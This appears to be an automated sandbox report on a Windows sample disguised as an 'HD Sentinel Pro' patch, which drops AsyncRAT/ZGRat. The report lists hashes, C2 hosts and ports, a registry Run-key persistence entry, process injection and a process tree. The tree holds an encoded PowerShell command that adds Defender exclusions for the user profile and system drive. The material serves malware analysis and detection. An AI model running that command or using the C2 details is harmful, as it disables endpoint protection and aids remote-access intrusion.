Resubmissions
14-05-2024 10:41
240514-mrgf5scg23 10Analysis
-
max time kernel
141s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
14-05-2024 10:41
Static task
static1
Behavioral task
behavioral1
Sample
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
Resource
win7-20240221-en
General
-
Target
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe
-
Size
2.3MB
-
MD5
a717a432c558f56c46709d6d3ec9837f
-
SHA1
ceda052be2519383085089a41c422ce2b1400a46
-
SHA256
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186
-
SHA512
e859810a198b8b946581ed6197b1154856e736687dd593d383dc952a3afd597ed6b5a631a8e6b2228a425b809b772457e6e10e0ca6f68cd8f0a8cc637a81132c
-
SSDEEP
49152:T+GJaXbo4IKA2WN4M63n4dHzCJYU6Mm4/4w2RAObR8XlZrzyiko:TboxWN4UHzCJYCmX5w1ZXyik
Malware Config
Extracted
asyncrat
0.5.8
Default
5512.sytes.net:6606
5512.sytes.net:7707
5512.sytes.net:8808
95.211.208.153:6606
95.211.208.153:7707
95.211.208.153:8808
Llg9a02PERRO
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Detect ZGRat V1 34 IoCs
Processes:
resource yara_rule behavioral1/memory/2396-19-0x0000000004920000-0x0000000004B40000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-20-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-21-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-23-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-28-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-33-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-35-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-37-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-31-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-29-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-25-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-55-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-57-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-53-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-51-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-49-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-47-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-45-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-43-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-41-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-39-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-63-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-61-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-59-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-65-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-67-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-75-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-73-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-71-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-69-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-77-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-79-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-81-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 behavioral1/memory/2396-83-0x0000000004920000-0x0000000004B3A000-memory.dmp family_zgrat_v1 -
Executes dropped EXE 2 IoCs
Processes:
Dfzxuwcml.exehd.sentinel.pro.4.x-5.x-patch.exepid process 2396 Dfzxuwcml.exe 1008 hd.sentinel.pro.4.x-5.x-patch.exe -
Loads dropped DLL 2 IoCs
Processes:
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exepid process 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Dfzxuwcml.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\Kpteiazy = "C:\\Users\\Admin\\AppData\\Roaming\\Kpteiazy.exe" Dfzxuwcml.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Dfzxuwcml.exedescription pid process target process PID 2396 set thread context of 3408 2396 Dfzxuwcml.exe AppLaunch.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 668 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exeDfzxuwcml.exeAppLaunch.exedescription pid process Token: SeDebugPrivilege 668 powershell.exe Token: SeDebugPrivilege 2396 Dfzxuwcml.exe Token: SeDebugPrivilege 2396 Dfzxuwcml.exe Token: SeDebugPrivilege 3408 AppLaunch.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exeDfzxuwcml.exedescription pid process target process PID 2912 wrote to memory of 668 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe powershell.exe PID 2912 wrote to memory of 668 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe powershell.exe PID 2912 wrote to memory of 668 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe powershell.exe PID 2912 wrote to memory of 668 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe powershell.exe PID 2912 wrote to memory of 2396 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe Dfzxuwcml.exe PID 2912 wrote to memory of 2396 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe Dfzxuwcml.exe PID 2912 wrote to memory of 2396 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe Dfzxuwcml.exe PID 2912 wrote to memory of 2396 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe Dfzxuwcml.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2912 wrote to memory of 1008 2912 369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe hd.sentinel.pro.4.x-5.x-patch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe PID 2396 wrote to memory of 3408 2396 Dfzxuwcml.exe AppLaunch.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe"C:\Users\Admin\AppData\Local\Temp\369be61aca46750085c842147909f80c8f938555071adeaceac6727bfcf74186.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAZQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAagBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAawBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZwB4ACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"C:\Users\Admin\AppData\Local\Dfzxuwcml.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exe"2⤵
- Executes dropped EXE
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\Local\Temp\Tar2505.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Local\Temp\hd.sentinel.pro.4.x-5.x-patch.exeFilesize
85KB
MD557824abbb9afe394c8a17a410e60c6fd
SHA1cdb3fe63c22e7d93d4a47bdb966b09f1b478f19f
SHA256becb4e1eaa4fbd915241f1138e2ed7b9833dc1cf66d6da25f9fac1a3e317c3ee
SHA5128b4e82437d6a30e73b65d0abc41b68d8420454622efd43d8d874ecee7a9251f36555d4c35dd13f886250948df1b9606ee61d0bcb2c8abb748b316dadff539c3d
-
\Users\Admin\AppData\Local\Dfzxuwcml.exeFilesize
2.2MB
MD5577b8f4cd65df6e3cd42d7d37c7917cf
SHA15033814e5aade04682bf7cb7fca3e32c46c5512a
SHA256d4360ef0464f7620fe0e3d5185adcdc0781aacfe23510d2c6c2e85c1095c8948
SHA512a42dab76abe41e53d7eee1ff3cec3092b26e1a05bdd6c91e8f12e35f6f14fc36df5ef918d0a2818d9f549db1e8ace169ff8ed3f441253a9a27b89c1ec816ff9d
-
memory/2396-45-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-4902-0x00000000059D0000-0x0000000005A24000-memory.dmpFilesize
336KB
-
memory/2396-23-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-28-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-33-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-35-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-37-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-31-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-29-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-25-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-55-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-57-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-53-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-63-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-49-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-47-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-20-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-43-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-19-0x0000000004920000-0x0000000004B40000-memory.dmpFilesize
2.1MB
-
memory/2396-21-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-51-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-61-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-59-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-65-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-67-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-75-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-73-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-71-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-69-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-77-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-79-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-81-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-83-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-39-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/2396-4901-0x0000000004F30000-0x0000000004F7C000-memory.dmpFilesize
304KB
-
memory/2396-4900-0x00000000044F0000-0x000000000454C000-memory.dmpFilesize
368KB
-
memory/2396-18-0x0000000000B40000-0x0000000000D72000-memory.dmpFilesize
2.2MB
-
memory/2396-41-0x0000000004920000-0x0000000004B3A000-memory.dmpFilesize
2.1MB
-
memory/3408-4916-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB